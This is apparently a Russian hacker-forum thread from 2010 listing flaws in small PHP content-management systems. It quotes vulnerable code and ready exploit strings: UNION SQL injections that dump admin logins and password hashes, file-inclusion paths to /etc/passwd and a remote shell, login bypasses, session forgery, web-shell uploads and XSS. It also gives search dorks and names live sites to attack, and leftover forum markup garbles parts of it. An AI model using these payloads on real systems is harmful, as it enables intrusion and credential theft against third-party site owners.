$query = "SELECT * FROM sites WHERE sitetype = 'main'";
$rsSite = mysql_query($query, $config);
$row_rsSite = mysql_fetch_assoc($rsSite);
$site_identifier = $row_rsSite['SiteIdentifier'];
mysql_free_result($rsSite);
$_GET['siteid'] = $site_identifier;
} else {
$site_identifier = $_GET['siteid'];
}
// find the site ID for the specified identifier
$query = "SELECT * FROM sites WHERE SiteIdentifier = '$site_identifier'";
$rsSite = mysql_query($query, $config);
$row_rsSite = mysql_fetch_assoc($rsSite);
result:
/pages/sections.php?siteid=-kan'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 +--+&mid=3&sid=6
Также уязвим пареметр mid
/pages/sections.php?siteid=kan&mid=-1+union+select+1,2,3,4,5,6,7,8,9+--+&sid=6
example:
http://www.kancms.org/pages/sections.php?siteid=kan&mid=-3+/*!union*/+select+1,2,3,4,5,6,7,8,9+--+&sid=6
//мб нашел бы больше,но двиг,сцуко,не установился
//Двойной запрос, можно шелл залить Ctacok
// а так не залить что-ли, если требования mq=off? Jokester
Moa Gallery v1.2.2 (Updated 2010-06-17)
http://sourceforge.net/projects/moagallery/
В скриптах выставлена защита
if (isset($_REQUEST["CFG"]))
{
echo"Hacking attempt.";
die();
}
но в mod_main_funcs.php защита отсутствует
sources/mod_main_funcs.php
// mod_gallery_funcs.php - This is a collection of functions that in terect with the database and a gallery.
include_once($CFG["MOA_PATH"]."sources/_error_funcs.php");
include_once($CFG["MOA_PATH"]."sources/_db_funcs.php");
include_once($CFG["MOA_PATH"]."sources/mod_image_funcs.php");
...
RFI or LFI
rg=on
http://localhost/Moa-1.2.2/sources/mod_main_funcs.php?CFG[MOA_PATH]=http://site.com/shell.txt%00
В версиях ниже 1.2.1 скрипт отсутствует.
.:[melkiy]:.
18.06.2010, 17:29
Zyke CMS 1.1
site:www.zykecms.com
Authorization bypass
need: mq=off
file: index.php
if (isset($_POST['loginbt']))
{
if ($_POST['login'] !=""and$_POST['password'] !="")
{
if (check_login($_POST['login'],$_POST['password']) ==true)
{
if ($_SESSION['function'] ==1)
header('Location: admin/');
else
header('Location: ');
$error_login="";
}
else
{
$error_login="wrong username/password
";
}
}
}
...................
functioncheck_login($login,$password)
{
$sql="SELECT * FROM users WHERE login='".$login."' AND password='".md5($password)."'";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
$data=mysql_fetch_array($result);
if ($num==1)
{
session_start();
$_SESSION['last_access']=time();
$_SESSION['function']=$data['function'];
$_SESSION['login']=$data['login'];
$_SESSION['firstname']=$data['firstname'];
$_SESSION['lastname']=$data['lastname'];
$_SESSION['date']=$data['date'];
$_SESSION['id']=$data['id'];
returntrue;
}
else
returnfalse;
}
result:
SQL-Injection
need: mq=off
file: index.php
echoget_sidebar($_GET['id'])
...................
functionget_sidebar($id)
{
$sql=mysql_query("SELECT * FROM content WHERE urlname = '".$id."'") or die(mysql_error());
if($id=='')
{
$sql=mysql_query("SELECT * FROM content WHERE id = '1'") or die(mysql_error());
}
$data=mysql_fetch_array($sql);
return$data['sidebar'];
}
result:
/index.php?p=content&id=-home'+union+select+1,2,concat_ws(0x3a,id,login,pas sword),4,5,6,7+from+users--+
LFI
need: mq=off
file: index.php :d
if (isset($_GET['p']))
if (is_file($_GET['p'].".php"))
include ($_GET['p'].".php");
result:
/index.php?p=../../[local_file]%00&id=home
//зачетная cms...
.:[melkiy]:.
18.06.2010, 23:45
PhpBpCms
Download: http://sourceforge.net/projects/phpbpcms/
Vuln: Local Files Include
Need: magic_quotes_gpc = Off
file: index.php
//update of redirecting variables $_SESSION[redirect_1], [redirect_2]redirect_update();*/
if(!$_GET['module'])
include('modules/'.$conf['default_module'].'.php');
else
include('modules/'.$_GET['module'].'.php');
result:
/index.php?module=[local_file]%00
Grayscale BandSite CMS Ver. 1.1.4
Site: http://sourceforge.net/projects/bandsitecms/
SQL-иньекция(-):
Уязвимый файл:
./includes/content/interview_content.php
$intid=$_REQUEST['intid'];
// define the query
// if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry
if(isset($intid)){
$query="
SELECT
*
FROM
interviews
WHERE
rec_id=$intid";
}
Эксплуатация:
./interviews.php?intid=-2+union+select+1,2,^,^,5,6,^,8,9,10
SQL-иньекция(-):
Уязвимый файл:
./includes/content/lyrics_content.php
$sid=$_REQUEST['sid'];
// if the $sid variable is set, it means we 're only after one song, so retrieve just that one
if (isset($sid)){
// define the query to get this song
$query="
SELECT
*
FROM
lyrics
WHERE
rec_id=$sid
LIMIT
1";
// get the result
$result=mysql_query($query);
Эксплуатация:
/lyrics.php?sid=1+union+select+1,2,^,4,5,6,^,8,9
Grayscale BandSite CMS Ver. 1.1.4
SQL Injection:
/members.php?memid=-1+union+select+1,2,user(),version(),database(),6,7 +--+
memid=$_REQUEST['memid'];
// define the query
// if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry
if(isset($memid)){
$query="
SELECT
*
FROM
memberbios
WHERE
rec_id=$memid";
}
Passive XSS:
/reviews.php?filter=alert();
SQL Injection:
/reviews.php?filter=-1'+union+select+1,version(),3,4,5,6,database(),8,u ser(),10,11+--+
Код:
$filter=$_REQUEST['filter'];
// if the $filter variable is set, let's def ine the query appropriately and display some additional text
if(isset($filter)){
$query="
SELECT
*
FROM
reviews
WHERE
type='$filter'
ORDER BY
rec_id DESC";
Залитие шелла:
/adminpanel/index.php?action=addphotos
Выбираем шелл, заливаем.
Далее >
/adminpanel/preview.php?cat=prevphotos
Ищем в сорсах:
/images/gallery/***
У меня к примеру:
/images/gallery/thm_300_wso2pack.jpg.php
Убираем thm_300_.
/images/gallery/wso2pack.jpg.php
Шелленг
Travelsized CMS 0.4.1
Site: http://sourceforge.net/projects/uberghey/
RFI(rg==on):
frontpage.php
include("$setup_folder/i18n/$language/$page_id.inc");
Эксплуатация:
./frontpage.php?setup_folder=data:,
LFI(mq == off):
index.php
$language=$_REQUEST['language'];
if ($language=="")$language=$default_language;
...
if ($page_id==0) {
include ("frontpage.php");
Эксплуатация:
./index.php?page_id=0&language=../../../../../../../../etc/passwd%00// Вот здесь, я невижу где уязвимость в коде
Инклудится "frontpage.php", его код выше ^^
// Это я вижу, но причём тогда здесь language?)
$language = $_REQUEST['language'];include("$setup_folder/i18n/$language/$page_id.inc"); Может так нагляднее =)
// Теперь нормально, а так-же пользуясь случаем, передаю привет всем всем всем.
IROKEZBLOG
XSS passive:
http://localhost/feedback/
Уязвимые поля:
Имя
E-mail
Тема
Текст
Вводим:
">alert();
Zeti CMS 1.0.1
Download: http://sourceforge.net/projects/zeticms/
SQL-иньекция(-):
Уязвимый файл:
./viewArticle.php
Код:
query('SELECT title,thearticle FROM cmsarticles WHERE ID = '.$HTTP_GET_VARS['id']);
// Get an array containing the resulting reco rd
$row=$connector->fetchArray($result);
?>
Your selected article:
Эксплуатация:
./viewArticle.php?id=-1+union+select+^,^
aidiCMS v1.0
Download: http://code.google.com/p/aidicms/
LFI(-):
Уязвимый файл:
./style.php
Код:
body {
font-family:Arial, Helvetica, sans-serif;
font-size:11px;
padding: 0px;
margin: 0px;
}
Эксплуатация:
http://[host]/style.php?filename=../../../../../../../../../../../etc/passwd
BlackFan
01.07.2010, 12:44
Cotonti (0.6 - 0.6.8)
http://www.cotonti.com/downloads/releases/
File Disclosure
magic_quotes = Off
File: rc.php
$src_uri=$_GET['uri'];
if (!file_exists($src_uri)) {
header('HTTP/1.1 404 Not Found');
echo('HTTP 404 - Not Found');
exit;
}
...
if (!isset($known_content_types[$file_extension])) {
header('HTTP/1.1 403 Forbidden');
echo('HTTP 403 - Forbidden');
exit;
}
...
$dst_uri=$src_uri;
...
readfile($dst_uri);
http://site/rc.php?uri=datas/config.php%00.js
Passive XSS
File: system/common.php
if(empty($_COOKIE['sourcekey']))
{
$sys['xk'] =mb_strtoupper(sed_unique(8));
$update_sid=", user_sid = '{$sys['xk']}'";
sed_setcookie('sourcekey',$sys['xk'],time()+$cfg['cookielifetime'],$cfg['cookiepath'],
$cfg['cookiedomain'],$sys['secure'],true);
}
else
{
$sys['xk'] =$_COOKIE['sourcekey'];
$update_sid='';
}
File: system/functions.php
functionsed_xp()
{
global$sys;
return'';
}
COOKIE
sourcekey = ">123
T16CMS v1.0
Download: http://code.google.com/p/t16cms/
SQL-иньекция{обход авторизации}(mq==off):
Уязвимый файл:
./t16cms/php/user.php
Код:
functionget_reg($inp="") {
global$dbhost,$dbname,$dbuser,$dbpasswd,$dbprefix;
echo$inp;
if ($inp==""){
if (@isset($_GET['authkey'])){
$_authkey=$_GET['authkey'];
if ($_authkey!=""){
$sql='SELECT * FROM `_users` WHERE `authkey` = '."'".$_authkey."'".' LIMIT 1';
echo$sql;
mysql_connect($dbhost,$dbuser,$dbpasswd);
mysql_query('SET NAMES cp1251');
$i=1;
$result=mysql_db_query($dbname,$sql);
while($row=mysql_fetch_array($result)) {
if (get_right($row['access']['access'],1)){
global$site_user;
$site_user=$row;
$i=$i+1;
}else{echo"Вы видимо не активированн ый";}//уголь
};
mysql_free_result($result);
}}
}else {
...
LFI(авторизация):
Уязвимый файл:
./t16cms/cp/index.php
Код:
if (isset($_GET['module'])){
$default=$_GET['module'];
...
$default="modules/".$default;
...
if (get_reg()==1) {//авторизация, код выше
...
include$default;
Эксплуатация(обе):
./t16cms/cp/index.php?authkey=1'+or+1=1--+&module=../../../../etc/passwd
InvisCMS v0.15
Download: http://code.google.com/p/inviscms/
LFI(mq==off):
Уязвимый файл:
./dx.php
Код:
...
switch ($_GET['x'):
...
case'0x21':
$d=false;
#die_r($_GET);
if(isset($_GET['frm_name']) &&$_GET['frm_name']!=''&& isset($_GET['result']) &&$_GET['result']!='')
{
$brain=$GLOBALS['path_to_site'].'/lib/core/others/forms/'.$_GET['frm_name'].'.inc';
if(file_exists($br ain))
{
@include($ brain);
#die(stripslashes($_GET['result']));
$data=$jsondecoder->decode(stripslashes($_GET['result']));
$d=call_user_func($_GET['frm_name'].'_main',$data[0]);
}else{
$d=false;
}
}
print$jsonencoder->encode($d);
break;
Эксплуатация:
./dx.php?x=33&frm_name=../../../../../../apache/log%00&result=33серебреника
varioCMS v0.5.6.1
Download: http://sourceforge.net/projects/variocms/
LFI(mq==on):
Уязвимый файл:
./plugins/audience/contact/contact.php
Код:
[PHP]
[COLOR="#0000BB"]*аргумент функции setlocale() не должен начинаться с точки, слеша и.т.д
UPD:
[COLOR="SandyBrown"]xCms V1.14
Download: http://code.google.com/p/spacedaily/downloads/detail?name=xCmsVer1.14.rar&can=2&q=
LFI(mq==off):
Уязвимый файл:
./tobbs.php
Код:
[PHP]
[COLOR="#0000BB"][COLOR="#007700"]
.:[melkiy]:.
05.07.2010, 15:52
Product: ViCMS
Version: 0.0.1
Download: www.sourceforge.net/projects/cmscolvi/
Authorization bypass
Need: шелл на соседнем сайте; доступ на запись в /tmp
file: admin.php
session_start();
if(!isset($_SESSION['logged_in'])){
header('Location: ./login.php');
exit;
}
if($_SESSION['logged_in'] !='bormental'){
header('Location: ./login.php');
exit;
}
result:
1. Создаём сессию
Имя: sess_8bf6d5e1d9eec3a8436704f883068ebf
Содержание: logged_in|s:9:"bormental";
2. Сохраняем в /tmp
3. В куки пишем: PHPSESSID=8bf6d5e1d9eec3a8436704f883068ebf
4. Заходим http://[host]/admin.php
.:[melkiy]:.
05.07.2010, 17:58
Product: K:CMS
Version: 2.1.1
Download: www.kcms.cz
LFI
Need: mq=off
file: install.php (!!!)
if (isset($_GET["lang"])) {
include"languages/".$_GET["lang"].".php";
}
result:
/install.php?lang=../../../[local_file]%00
LFI
Need: mq=off, admin account
if (isset($_GET["function"])) {
include"components/pages_admin/".$_GET["function"].".php";
result:
/admin.php?function=../../../[local_file]%00
SQL-Injection
Need: mq=off
$item=$this->db->query("SELECT id, login, rights, mail, regdate, las tvisit, realname, age, jabber, skype, msn, a bout, sign, icq, avatar FROM ".TABLE_USERS." WHERE login='".htmlspecialchars($_GET["profile"])."'");
$item=$this->db->fetch_array($item);
result:
/index.php?profile=-qwerty'+union+select+1,concat_ws(0x3a,id,login,pas sword),3,4,5,6,7,8,9,10,11,12,13,14,15+from+kcms_u sers+--+
Upload ShellCode
Need: admin account
Заходим admin.php?function=files . Выбираем шелл, загружаем. Шелл будет доступен по адресу files/shell.php .
Никаких проверок на расширение
AMXBANS 6.0.0 (http://www.amxbans.de)
======Вход под администратором:
/include/access.inc.php
if(isset($_COOKIE[$config->cookie]) &&$_SESSION["loggedin"]==false) {
$cook=explode(":",$_COOKIE[$config->cookie]);
$sid=$cook[0];
if(!$_SESSION["lang"])$_SESSION["lang"]=$cook[1];
$mysql=mysql_connect($config->db_host,$config->db_user,$config->db_pass) or die (mysql_error());
$resource=mysql_select_db($config->db_db) or die (mysql_error());
$query=mysql_query("SELECT id,username,level,email FROM `".$config->db_prefix."_webadmins` WHERE logcode='".$sid."' LIMIT 1") or die (mysql_error());
if(mysql_num_rows($query)) {
while($result=mysql_fetch_ object($query)) {
$_SESSION["uid"]=$result->id;
$_SESSION["uname"]=$result->username;
$_SESSION["email"]=$result->email;
$_SESSION["level"]=$result->level;
$_SESSION["sid"]=session_id();
$_SESSION["loggedin"]=true;
}
Экспл:
В куки добавляем: ' or id=1 -- :123
=====Любой юзер может сделать unban
/ban_list.php
if(isset($_POST["del_ban_x"]) && isset($_POST["bid"])) {
//get all uploaded files for the ban and del ete it
$query=mysql_query("SELECT `id`,`demo_file` FROM `".$config->db_prefix."_files` WHERE `bid`=".$bid) or die (mysql_error());
while($result=mysql_fetch_object($query)) {
if(file_exists("include/files/".$result->demo_file)) {
//delete the file(s)
if(file_exists("include/files/".$result->demo_file."_thumb")) {
unlink("include/files/".$result->demo_file."_thumb");
}
if(unlink("include/files/".$result->demo_file)) {
//if file deleted, remove db entry
$query2=mysql_query("DELETE FROM `".$config->db_prefix."_files` WHERE `id`=".$result->id." LIMIT 1") or die (mysql_error());
}
}
}
//delete all comments for the ban
$query=mysql_query("DELETE FROM `".$config->db_prefix."_comments` WHERE `bid`=".$bid) or die (mysql_error());
//get ban details
$ban_row=sql_get_ban_details($bid);
//delete the ban
$query=mysql_query("DELETE FROM `".$config->db_prefix."_bans` WHERE `bid`=".$bid." LIMIT 1") or die (mysql_error());
log_to_db("Ban edit","Deleted ban: ID ".$bid." ( )");
//redirect to start page
if($query) {header("Location:index.php"); exit; }
}
Экспл:
$id = "id user";
$pat = "http://site.ru";
echo
HTML;
emillord
16.07.2010, 13:47
BigStreet alpha RC1
(07.10.2010)
BigStreet CMS — система для создания сообществ.
Искать в гугле по запросу
Powered by BigStreet
XSS
Передаём в GET
http://site/system/tools/yaca.parser.php?url=1alert(1).
Сайт автора:
http://www.bigstreet.ru/system/tools/yaca.parser.php?url=1%3Cscript%3Ealert%281%29%3C/script%3E.
Недостаточная фильтрация входящих данных.
" style="width: 500px">
$text = file_get_contents($first_url);
$text = iconv('windows-1251', 'utf-8', $text);
preg_match_all("/\d+/isU", $text, $matches);
$text = file_get_contents($url);
$text = iconv('windows-1251', 'utf-8', $text);
preg_match_all("/([\d\w\.\-]*)/isU", $text, $matches);
[/COLOR]
XSS passive:
При вводе логина пароля
1alert(407747180852).
Страница http://site/feedback/
Уязвимо поле: Спросите, пожелайте, возмутитесь
Отправляем пост запрос с таким содержимым
alert()
[Feldmarschall]
08.08.2010, 18:19
4images 1.7.7
Раскрытие путей:
/categories.php?cat_id=2&page=-2
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/site/includes/db_mysql.php on line 116
[Feldmarschall]
09.08.2010, 00:12
moziloCMS 1.0 - 1.1
XSS
/galerie.php
[PHP]
[COLOR="#0000BB"]else {
$allindexes= array();
for($i=1;$ialert(document.cookie)
[/QUOTE]
" if author else f"
/galerie.php?cat=10_Willkommen&index=1">alert(document.cookie)
[COLOR="Green"]1.12.Beta 3 (Последняя версия)
XSS
Оф Сайт:
http://cms.mozilo.de/index.php?action=search&query=a">alert('XSS')&action.x=10&action.y=8&action=search
[SIZE="3"]1stTop100
->edit.php
if($_POST["submit"] AND !$_GET["edit"]){
$pass=md5($_POST["pass"]);
$query=mysql_query("SELECT * FROM top_$tableWHERE memberid = '".$_POST["id"]."' AND password = '$pass'") or die("Невозможно подключиться к mysql");
$result=mysql_num_rows($query);
...
...
...
Expl:
POST
memberid=1' --
->out.php
$query=mysql_query("SELECT * FROM top_$table[COLOR="#DD0000"]WHERE memberid = '$id'") or die ("Невозможно подключиться к MySQL");
$date=date("dmY");
while($object=mysql_fetch_object($query)){
$today=$object->hitstoday;
$today=explode(" | ",$today);
...
...
...
При register_globals = ON и magic_quotes_gpc = OFF
Expl:
$_GET['id'] = 1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21
WAP ENGINE 5.0
_http://wap-engine.ru/
Reverse-IP:
Нужен шелл на соседнем сайте.
->templates/run.php
if(isset($_SESSION['login']))
{
if(strstr($_SERVER['SCRIPT_NAME'],'modules'))
{
$user_data_file="../../data/users/$_SESSION[login].php";
$user_f= @file("$user_data_file");
}
else
{
$user_data_file="data/users/$_SESSION[login].php";
$user_f= @file("$user_data_file");
}
$login=trim($user_f[2]);
$email=trim($user_f[3]);
$passw=trim($user_f[4]);
...
...
...
->Получение админских прав.
Expl:
Заливаем в /tmp .php файл, с таким содержанием и называем его oleg
Далее создаём файл сессии в той же папки
traf|i:140459;rand|s:4:"6523";login|s:16:"../../../../oleg";pass|s:32:"fb469d7ef430b0baf0cab6c436e70375";
ЗЫ:Не забываем выставлять права.
->Заливаем шелл
В админ панели заходим в редактор страниц-> Вставляем следующий код
[Feldmarschall]
17.08.2010, 04:02
MODx Evolution CMS
Version 1.0.1 (скачать: http://modxcms.com/download/rc/MODx-1.0.1-rc-1.tar.gz )
XSS (нужны права админа)
\manager\includes\accesscontrol.inc.php
$itemid= isset($_REQUEST['id']) ?$_REQUEST['id'] :'';
$lasthittime=time();
$action= isset($_REQUEST['a']) ?$_REQUEST['a'] :'1';
if($action!='1') {
if (!intval($itemid))$itemid=null ;
$sql=sprintf('REPLACE INTO %s (internalKey, us ername, lasthit, action, id, ip)
VALUES (%d, \'%s\', \'% d\', \'%s\', %s, \'%s\')',
$modx->getFullTableName('active_users'),// Table
$modx->getLoginUserID(),
$_SESSION['mgrShortname'],
$lasthittime,
(string)$action,
var_export($itemid,true),
$ip
Result:
http://localhost/modx-1.0.1-rc-1/manager/index.php?a=2'>alert(010101)
+
XSS на Оф Сайте:
http://modxcms.com/searchresults.html
Вписываем:
">alert(document.cookie)
[SIZE="3"]AMX BANS 6.0.0
в куки
amxbans:' union select 1,0x27,1,4 -- :1233
->accsess.php.inc
$query=mysql_query("SELECT id,username,level,email FROM `".$config->db_prefix."_webadmins` WHERE logcode='".$sid."' LIMIT 1") or die (mysql_error());
if(mysql_num_rows($query)) {
while($result=mysql_fetch_ object($query)) {
$_SESSION["uid"]=$result->id;
$_SESSION["uname"]=$result->username;
$_SESSION["email"]=$result->email;
$_SESSION["level"]=$result->level;
$_SESSION["sid"]=session_id();
$_SESSION["loggedin"]=true;
}
->modul_iexport.php
[COLOR="#0000BB"]if($reason==""||$plnick==""||$server==""||$date==""||sizeof($date)!=3) {
$user_msg="_NOREQUIREDFIELDS";
} else {
$date=(int)strtotime($date[2].$date[1].$date[0]);
$file=mysql_real_escape_string($_FILES['filename']['name']);
$types=array("cfg","txt");
if($file=="") {
$user_msg="_FILENOFILE";
} else {
$file_type=substr(strrchr($file,'.'),1);
if(!in_array($file_type,$types))$user_msg="_FILETYPENOTALLOWED";
}
if($_FILES['filename']['size'] >= ($config->max_file_size*1024*1024))$user_msg="_FILETOBIG";
if(!$user_msg) {
if(!move_uploaded_file($_FILES['filename']['tmp_name'],"temp/".$file)) {
$user_msg="_FILEUPLOADFAIL";
} else {
$handle=fopen("temp/".$file,"r");
$status["imported"]=0;
$status["failed"]=0;
while (!feof($handle))
{
$n=fgets($handle,128);
$bans=explode(" ",$n);
$time=(int)trim($bans[1]);
//amxbans 5.x hack, exported banned.cfg with r eason
$reason_real="";
if($bans[4] !="") {
for($i=4;$idb_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error());
if(mysql_num_rows($query)) {$status["failed"]++; continue;}
//write ban to db
$status["imported"]++;
$query=mysql_query("INSERT INTO `".$config->db_prefix."_bans`
(`player_id`,`player_nick`,`admin_nick`,`ban_type` ,`ban_reason`,`ban_created`,`ban_length`,`server_n ame`,`imported`) VALUES
('".$steamid."','".$plnick."','".$_SESSION["uname"]."','S','".$reason_real."',".$date.",".$time.",'".$server."',1)") or die (mysql_error());
}else if(trim($bans[0])=="banip") {
//ban with ip
if(!preg_match("/^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$/",$steamid)) {$status["failed"]++; continue;}
//search for a already existing permanent ban
$query=mysql_query("SELECT `player_ip` FROM `".$config->db_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error());
if(mysql_num_rows($query)) {$status["failed"]++; continue;}
//write ban to db
$status["imported"]++;
$query=mysql_query("INSERT INTO `".$config->db_prefix."_bans`(`player_ip`,`player_nick`,`admin_nick`,`ban _type`,`ban_reason`,`ban_created`,`ban_length`,`se rver_name`,`imported`)
VALUES
('".$steamid."','".$plnick."','".$_SESSION["uname"]."','SI','".$reason_real."',".$date.",".$time.",'".$server."',1)") or die (mysql_error());
} else {$status["failed"]++; continue;}
}
fclose($handle);
//del temp file
unlink("temp/".$file);
Импортируем список банов "bans.php.cfg" с таким содержанием:
banid 0 STEAM_0:1:1234567891011121314151617
Чтобы после импорта наш шелл не удалился, нам пришлось добавить в куки " ' "(ковычку).
В итоге в modul_iexport.php при загрузки файла, скрипт завершает работу с ошибкой.
Шелл будет доступен по адресу:
http://[path]/temp/bans.php.cfg
[Feldmarschall]
21.08.2010, 01:49
cms.libe.net => 0.5 - 0.91
Скачать: http://cms.libe.net/themen/DOWNLOAD.php (http://cms.libe.net/themen/DOWNLOAD.php/)
Пассив XSS
/template/cmslibenet/_suche.php
Stichwortsuche auf dieser Seite:
" method="post" style="display:inline">
.....
$Suchbegriff=$HTTP_POST_VARS['Suchbegriff'];
if (!empty($Suchbegriff)){
echo "
X";[/COLOR]
пример на оф сайте:
http://cms.libe.net/template/cmslibenet/_suche.php
">alert(112233)
путь: http://cms.libe.net/template/cmslibenet/_feedback.php
Strilo4ka
30.08.2010, 14:02
В интернете CMS не нашел.
Aphyna CMS
http://[host]/[path]/index.php?sec=katalog&[some text]page=%27+and+0+union+select+1,2,3,4,5,6,7,8,9,10%2 3
10 атрибут.
http://[hos]/[path]/index.php?sec=katalog&page=[some text]%27+and+0+union+select+1,2,3,4,5,6,7,8,9,GROUP_CON CAT%28concat_ws%28%27:%27,login,password%29%20sepa rator%20%20%27@%27%29+FROM+users%23
http://[host]/[path]/admin
внутри:
http://[host]/[path]/admin/site_info.php
в левое поле пишем наш php код.
Fashione E-Commerce Webshop
скачать (http://www.fashione.co.uk/)
в поиске
http://www.mccabeshoes.com/index.php?page_id=search
вбиваем в поле поиска
alert('xss')
[Feldmarschall]
26.10.2010, 06:35
phpCMS 1.2.2
Скачать (http://prdownloads.sourceforge.net/phpcms/phpcms-1.2.2.zip?download/)
Пассивная xss
http://www.phpcms.de/search.de.html
Suche nach:
[PHP]
[COLOR="#0000BB"][COLOR="#DD0000"]">alert(document.cookie)
[Feldmarschall]
26.10.2010, 22:16
phpComasy v1.0.1
Скачать (http://www.phpcomasy.com/?id=9&mod_action=download&document_id=4)
Активная XSS
Пример одного сайта:
http://www.natamohn.com/?id=12&mod_action=add_guestbook_entry_form
Уязвимые поля>>
Firstname* , Lastname, e-Mail , WWW , Comment*
doc:powered by phpComasy
[Feldmarschall]
01.11.2010, 21:56
Apprain CMS
Version:0.1.X
Off Site: http://www.apprain.com/
(1.11.2010)
Заливка шелла через админку
1. Способ| Gallery -> Add New Picture
написанно "*.jpg, *.gif, *.png" но шелл заливается удачно, адресс шелла /uploads/filemanager/ *** .php
2. Способ| Store-> Add New product
var uploadAllFiles, uploadOnlyImageFiles;
window.onload = function() {
uploadAllFiles = new SWFUpload( {
// Backend Settings
upload_url: "baseurl('/common/general_upload/');?>",
post_params: {"PHPSESSID" : ""},
// File Upload Settings
file_size_limit : "102400", // 100MB
file_types : "*.*",
file_types_description : "All Files",
file_upload_limit : "100",
file_queue_limit : "0",
.......
Активная XSS
/member/signup
При регистрацыии Пользователя -> First Name - Last Name - Address
echo$this->get_tag("form",array("method"=>"post","class"=>"app_form app_validation","id"=>"signup_form","action"=>$this->baseurl("/member/signup")));
echo$this->get_tag("ul");
echoApp::Load("Helper/Html")->get_from_row($this->__("First Name"),App::Load("Helper/Html")->inputTag("data[Member][f_name]","",array("class"=>"input check_notempty",'id'=>'f_name','longdesc'=>'Please enter your first name')) );
echoApp::Load("Helper/Html")->get_from_row($this->__("Last Name"),App::Load("Helper/Html")->inputTag("data[Member][l_name]","",array("class"=>"input check_notempty",'id'=>'l_name','longdesc'=>'Please enter your last name')) );
echoApp::Load("Helper/Html")->get_from_row($this->__("Country"),App::Load("Helper/Html")->countryTag("data[Member][country]","",array("title"=>"Country","id"=>"country","class"=>"select check_notempty"),array('title'=>'Your Country','longdesc'=>'Please select your country')) );
echoApp::Load("Helper/Html")->get_from_row($this->__("Address"),App::Load("Helper/Html")->textareaTag("data[Member][address]","",array("rows"=>"3","class"=>"input check_notempty",'id'=>'address','longdesc'=>'Enter your address infomration')) );
/admin/account/edit
В админ панели -> First Name - Last Name
/information/manage/blog-post
Редактируем "Title" на ">window.location.href='http://www.google.de/';
/admin/config/general
Admin Setting -> Site Title
и во многих других местах админки
Пассивная XSS
www.localhost/quickstart/admin/forgotlogin
\development\view\system\admin\forgotlogin.phtml
Fotgoet Password-> Enter you Email Address ->
value="">alert(document.cookie)"
data['Admin']['email']) ?$this->data['Admin']['email'] :""?>" />[/COLOR]
+
Search
\development\view\whitecloud\home\search.phtml
__("Search Reasult for")?> ''
__("Total result found ");?>
-PRIVAT-
02.11.2010, 20:23
Уязвимости Open Constructor
Тип уязвимости: SQL inj
Зависимости: Права админа
Куски уязвимых кодов:
query('SELECT id, ds_type, obj_type FROM obje cts WHERE id='.$_GET['id']);[/B]
$obj=mysql_fetch_assoc($res);
mysql_free_result($res);
if($obj) {
header('Location: '.$obj['ds_type'].'/'.$obj['obj_type'].'.php?id='.$obj['id']);
die();
}
assert(true===false);
?>
load($_GET['ds_id']);
assert($_ds->ds_id>0);
if($_GET['id'] =='new') {
$pages= &$pr->getAllPages();
$db= &WCDB::bo();
$res=$db->query(
'SELECT id '.
'FROM dshtmltext '.
'WHERE ds_id = '.$_ds->ds_id
);
while($r=mysql_fetch_assoc($res))
unset($pages[$r['id']]);
mysql_free_result($res);
} else {
$page= &$pr->getPage($_GET['id']);
assert($page!=null);
$_doc=$_ds->get_record($_GET['id']);
assert($_doc!=null);
}
require_once(LIBDIR.'/syntax/syntaxhighlighter._wc');
$m= array();
preg_match_all('~allowedTags),$m,PREG_PATTERN_ORDE R);
$allowed= (array) @$m[1];
$sDoc=$_ds->wrapDocument($_doc);
$save=$_GET['id'] =='new'?WCS::decide($_ds,'createdoc') &&sizeof($pages) >0:WCS::decide($_ds,'editdoc') ||WCS::decide($sDoc ,'editdoc');
?>
Примеры:
localhost/../objects/edit.php?j=1&id=4%20union%20select%201,2,3--
localhost/../../htmltext/edit.php?ds_id=90&id=36%20union%20select%201,2,3,4,5,6,7,8--
-PRIVAT-
02.11.2010, 20:29
Уязвимости Simple CMS
О Simple CMS
От себя хочу сказать, что Simple CMS. ver.1.0. вся дырявая. Почти на каждом месте есть SQL inj.
По дорку гугла мне выдало "Результатов: примерно 14 800 (0,35 сек.)".
SQL инъекции:
SQL inj в выборе статьи, уязвимый код:
if (isset($_GET['artcl']))
{
$id_art=$_GET['artcl'];
$article=mysql_query("SELECT title, article FROM artcl WHERE IDart =".$id_art);
Как видно, нет никакой фильтрации..
Пример: localhost/index.php?id=3&artcl=-4 union select version(),2--
SQL inj в выборе раздела, уязвимый код:
if (isset($_GET['id']))
{
$id=$_GET['id'];
}
else
{
$id=1;
}
print"";
$razdel=mysql_query("SELECT menu, txt FROM tree WHERE id=".$id);
Пример: localhost/index.php?id=-3 union select 1,version()--
Незачем дальше перечислять, она вся в дырках.
К сожалению, хочу отметить, что пароли администраторов не хранятся в БД. Они находятся в файле connect.php.
Панель администратора находится по адресу /admin/, если вы попали в админку, то заходим: Баннеры > льём через форму загрузки баннеров шелл > шелл будет доступен по адресу images/shell.php
Вот вам пример (http://www.fiting-ppu.ru/), хекайте!
P.S Дорк "intext:Разработано Яшиной С. svetulik2004@mail.ru".
Модуль Новостей
Только что зашёл на официальный сайт в раздел Мои разработки, скачал модуль новостей и снова он бажный .
if (isset($_GET['id_news']))
{
$id_news=$_GET['id_news'];
$news=mysql_query("SELECT rus_name, rus_annonce, rus_content, dat e FROM news WHERE id=".$id_news);
Пример: localhost/news/news.php?id_news=-2 union select version(),2,3,4--
З.Ы Писала движок девушка . Официальный сайт (http://svetic.trancom.ru/)
-PRIVAT-
02.11.2010, 20:30
Уязвимости Booot CMS
Тип уязвимости: SQL inj
Зависимости: Права админа
Куски уязвимых кодов:
if(isset($_GET['top'])) {
$i=$this->db->rows("SELECT * FROM `prefix_products_topics` WHERE `id` = ".$_GET['top']);
if(!isset($_GET['top'])) {
....
$i=$this->db->rows("SELECT * FROM `prefix_content` WHERE `id` = ".$_GET['top']);
if(!isset($_GET['top'])) {
....
$i=$this->db->rows("SELECT * FROM `prefix_content` WHERE `id` = ".$_GET['top']);
Примеры:
